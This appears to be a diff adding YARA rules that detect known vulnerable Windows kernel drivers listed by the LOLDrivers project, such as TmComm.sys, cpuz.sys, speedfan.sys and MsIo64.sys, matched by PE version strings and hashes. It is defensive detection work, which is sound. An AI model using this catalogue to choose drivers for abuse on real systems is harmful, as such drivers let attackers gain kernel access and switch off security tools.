+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7cb594af6a3655daebc9fad9c8abf2417b00ba31dcd118707824e5316fc0cc21"
+		date = "2023-06-14"
+		score = 40
+		id = "4af76d57-3f28-5d80-b72a-796f65942488"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d } /* FileDescription ZAM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e } /* CompanyName ZemanaLtd */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0030002e0030002e003000300030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0030002e0030002e003000300030 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d } /* ProductName ZAM */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright ZemanaLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Asrockincorporation_Asrautochkupddrvsys_Asrautochkupddrvdriver_2AA1 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AsrAutoChkUpdDrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2aa1b08f47fbb1e2bd2e4a492f5d616968e703e1359a921f62b38b8e4662f0c4"
+		date = "2023-06-14"
+		score = 40
+		id = "78768248-afa1-5e3c-a9cd-c9ab73ea4f74"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100730072004100750074006f00430068006b0055007000640044007200760020004400720069007600650072 } /* FileDescription AsrAutoChkUpdDrvDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530052006f0063006b00200049006e0063006f00720070006f0072006100740069006f006e } /* CompanyName ASRockIncorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030002e00300030002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030002e00300030002e0030003000300030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100730072004100750074006f00430068006b005500700064004400720076002e007300790073 } /* InternalName AsrAutoChkUpdDrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100730072004100750074006f00430068006b0055007000640044007200760020004400720069007600650072 } /* ProductName AsrAutoChkUpdDrvDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100730072004100750074006f00430068006b005500700064004400720076002e007300790073 } /* OriginalFilename AsrAutoChkUpdDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100320020004100530052006f0063006b00200049006e0063006f00720070006f0072006100740069006f006e } /* LegalCopyright CopyrightCASRockIncorporation */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_97B3 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "97b32ddf83f75637e3ba934df117081dd6a1c57d47a4c9700d35e736da11d5bd"
+		hash = "89108a15f009b285db4ef94250b889d5b11b96b4aa7b190784a6d1396e893e10"
+		date = "2023-06-14"
+		score = 40
+		id = "ef15eec0-caf8-58e9-9c63-cfee3275253d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003000370030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000320020002d002000320030003100320020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Novellinc_Novellxtier_2899 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "28999af32b55ddb7dcfc26376a244aa2fe297233ce7abe4919a1aef2f7e2cee7"
+		hash = "ce23c2dae4cca4771ea50ec737093dfafac06c64db0f924a1ccbbf687e33f5a2"
+		date = "2023-06-14"
+		score = 40
+		id = "f1b0bccc-950b-5039-b181-fe4cee4e84b1"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c002000580054006900650072002000530065007300730069006f006e0020004d0061006e0061006700650072 } /* FileDescription NovellXTierSessionManager */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e } /* CompanyName NovellInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 } /* ProductName NovellXTier */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 } /* OriginalFilename nscmsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000300038002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CCopyrightNovellIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_818E {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "818e396595d08d724666803cd29dac566dc7db23bf50e9919d04b33afa988c01"
+		date = "2023-06-14"
+		score = 40
+		id = "534b26bd-7298-5e16-ba49-f48b1bc405d7"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e00330030002e0030002e0031003000370038 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00330030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_6FFD {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "6ffdde6bc6784c13c601442e47157062941c47015891e7139c2aaba676ab59cc"
+		date = "2023-06-14"
+		score = 40
+		id = "b0799b63-2938-586a-8a10-c3d9916b3d01"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c00650020004e006f00540072006100700020004200750069006c0064 } /* FileDescription TrendMicroCommonModuleNoTrapBuild */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0030002e0030002e0031003100300034 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003100310020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_7710 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "771015b2620942919bb2e0683476635b7a09db55216d6fbf03534cb18513b20c"
+		hash = "8d57e416ea4bb855b78a2ff3c80de1dfbb5dc5ee9bfbdddb23e46bd8619287e2"
+		hash = "900dd68ccc72d73774a347b3290c4b6153ae496a81de722ebb043e2e99496f88"
+		hash = "f74ffd6916333662900cbecb90aca2d6475a714ce410adf9c5c3264abbe5732c"
+		date = "2023-06-14"
+		score = 40
+		id = "9b4f6fc7-e597-5efd-9a85-6fd63fa9844b"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 } /* FileDescription CPUIDDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 } /* CompanyName CPUID */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 } /* InternalName cpuzsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 } /* ProductName CPUIDservice */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 } /* OriginalFilename cpuzsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310035002000430050005500490044 } /* LegalCopyright CopyrightCCPUID */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Windowsrserverddkprovider_Speedfansys_Windowsrserverddkdriver_22BE {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - speedfan.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "22be050955347661685a4343c51f11c7811674e030386d2264cd12ecbf544b7c"
+		date = "2023-06-14"
+		score = 40
+		id = "c683be43-e577-5248-8a28-b13dbefd7f91"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0053007000650065006400460061006e00200044006500760069006300650020004400720069007600650072 } /* FileDescription SpeedFanDeviceDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b002000700072006f00760069006400650072 } /* CompanyName WindowsRServerDDKprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0073007000650065006400660061006e002e007300790073 } /* InternalName speedfansys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b0020006400720069007600650072 } /* ProductName WindowsRServerDDKdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0073007000650065006400660061006e002e007300790073 } /* OriginalFilename speedfansys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright MicrosoftCorporationAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Openlibsysorg_Openlibsyssys_Openlibsys_9131 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - OpenLibSys.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "91314768da140999e682d2a290d48b78bb25a35525ea12c1b1f9634d14602b2c"
+		date = "2023-06-14"
+		score = 40
+		id = "94026bd4-e66c-551c-b054-b3b5191a5bb2"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004f00700065006e004c00690062005300790073 } /* FileDescription OpenLibSys */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e006f00720067 } /* CompanyName OpenLibSysorg */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e007300790073 } /* InternalName OpenLibSyssys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004f00700065006e004c00690062005300790073 } /* ProductName OpenLibSys */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e007300790073 } /* OriginalFilename OpenLibSyssys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000370020004f00700065006e004c00690062005300790073002e006f00720067 } /* LegalCopyright CopyrightCOpenLibSysorg */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_E4EC {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e4eca7db365929ff7c5c785e2eab04ef8ec67ea9edcf7392f2b74eccd9449148"
+		date = "2023-06-14"
+		score = 40
+		id = "888a2b05-46c1-54b2-a996-14fb9fae5779"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* FileDescription VirITAgentSystem */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e } /* CompanyName TGSoftSas */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000330038002c00200030002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000330038002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* InternalName viragtsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* ProductName VirITAgentSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* OriginalFilename viragtsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100310020002d0020007700770077002e007400670073006f00660074002e00690074 } /* LegalCopyright CopyrightCTGSoftSaswwwtgsoftit */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Asustekcomputerinc_Atsziosys_Atsziodriver_FB6B {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ATSZIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "fb6b0d304433bf88cc7d57728683dbb4b9833459dc33528918ead09b3907ff22"
+		date = "2023-06-14"
+		score = 40
+		id = "106afe18-1312-559d-87f5-319d67d36435"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100540053005a0049004f0020004400720069007600650072 } /* FileDescription ATSZIODriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065006b00200043006f006d0070007500740065007200200049006e0063002e } /* CompanyName ASUSTekComputerInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0030002e0032002e0032002e0033 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0030002e0032002e0032002e0033 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100540053005a0049004f002e007300790073 } /* InternalName ATSZIOsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100540053005a0049004f0020004400720069007600650072 } /* ProductName ATSZIODriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100540053005a0049004f002e007300790073 } /* OriginalFilename ATSZIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_075D {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "075de997497262a9d105afeadaaefc6348b25ce0e0126505c24aa9396c251e85"
+		hash = "cdfbe62ef515546f1728189260d0bdf77167063b6dbb77f1db6ed8b61145a2bc"
+		date = "2023-06-14"
+		score = 40
+		id = "e58174ba-c931-549b-bf5d-bdc9aeb362cc"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00330032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00330032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000320030 } /* LegalCopyright CopyrightCMarkRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Micsystechnologycoltd_Msiosys_Msiodriverversion_X_AE42 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - MsIo64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ae42afa9be9aa6f6a5ae09fa9c05cd2dfb7861dc72d4fd8e0130e5843756c471"
+		hash = "d636c011b8b2896572f5de260eb997182cc6955449b044a739bd19cbe6fdabd2"
+		hash = "0f035948848432bc243704041739e49b528f35c82a5be922d9e3b8a4c44398ff"
+		date = "2023-06-14"
+		score = 40
+		id = "65c75c41-8edb-526b-b0e8-73eea5cb7502"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0049004300530059005300200049004f0020006400720069007600650072 } /* FileDescription MICSYSIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0049004300530059005300200054006500630068006e006f006c006f0067007900200043006f002e002c0020004c00540064 } /* CompanyName MICSYSTechnologyCoLTd */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003300200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion xbuiltbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00330020007800360034 } /* ProductVersion x */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004d00730049006f00360034002e007300790073 } /* InternalName MsIosys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d00730049006f003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0033 } /* ProductName MsIoDriverVersion */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004d00730049006f00360034002e007300790073 } /* OriginalFilename MsIosys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003200310020004d00490043005300590053 } /* LegalCopyright CopyrightcMICSYS */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Vektortsecurityservice_Vboxdrv_Antidetectpublic_3724 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3724b39e97936bb20ada51c6119aded04530ed86f6b8d6b45fbfb2f3b9a4114b"
+		date = "2023-06-14"
+		score = 40
+		id = "1305b627-146c-5ec6-9e27-abac84f5a2f4"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 } /* FileDescription VirtualBoxSupportDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00560065006b0074006f0072002000540031003300200053006500630075007200690074007900200053006500720076006900630065 } /* CompanyName VektorTSecurityService */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0034002e0032002e003100310039003200330030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0034002e0032002e003100310039003200330030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076 } /* InternalName VBoxDrv */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006e00740069006400650074006500630074002000320030003100390020005000750062006c00690063 } /* ProductName AntidetectPublic */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 } /* OriginalFilename VBoxDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002d00320030003100390020004f007200610063006c006500200043006f00720070006f0072006100740069006f006e } /* LegalCopyright CopyrightCOracleCorporation */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_2380 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "238046cfe126a1f8ab96d8b62f6aa5ec97bab830e2bae5b1b6ab2d31894c79e4"
+		date = "2023-06-14"
+		score = 40
+		id = "24415567-6904-52b1-964d-1a0a4aefe08e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f00770073002000780036003400200049002f004f0020006400720069007600650072 } /* FileDescription ElbyCDWindowsxIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* CompanyName ElaborateBytesAG */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200033002c00200032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f } /* InternalName ElbyCDIO */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 } /* ProductName CDRTools */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 } /* OriginalFilename ElbyCDIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003900200045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* LegalCopyright CopyrightCElaborateBytesAG */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Msi_Ntiolibxsys_Ntiolibx_1E8B {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1e8b0c1966e566a523d652e00f7727d8b0663f1dfdce3b9a09b9adfaef48d8ee"
+		hash = "5d530e111400785d183057113d70623e17af32931668ab7c7fc826f0fd4f91a3"
+		date = "2023-06-14"
+		score = 40
+		id = "208dd67e-2d2d-5104-a497-1311cea9e223"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062005f005800360034 } /* FileDescription NTIOLibX */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 } /* InternalName NTIOLibXsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034 } /* ProductName NTIOLibX */
